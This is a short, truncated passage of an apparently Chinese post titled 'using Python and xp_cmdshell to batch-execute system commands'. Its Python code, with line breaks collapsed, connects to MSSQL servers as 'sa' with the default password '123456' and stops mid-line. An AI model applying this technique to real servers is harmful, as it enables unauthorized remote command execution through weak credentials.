使用python利用xp_cmdshell批量执行系统命令
#coding=utf-8import pymssqlimport sysfrom threading import *def connect(ip,username="sa",password="123456",database="MyDB"): conn = pymssql.connect(ip,username,password,autocommit=True,timeout=2) cursor = conn.curs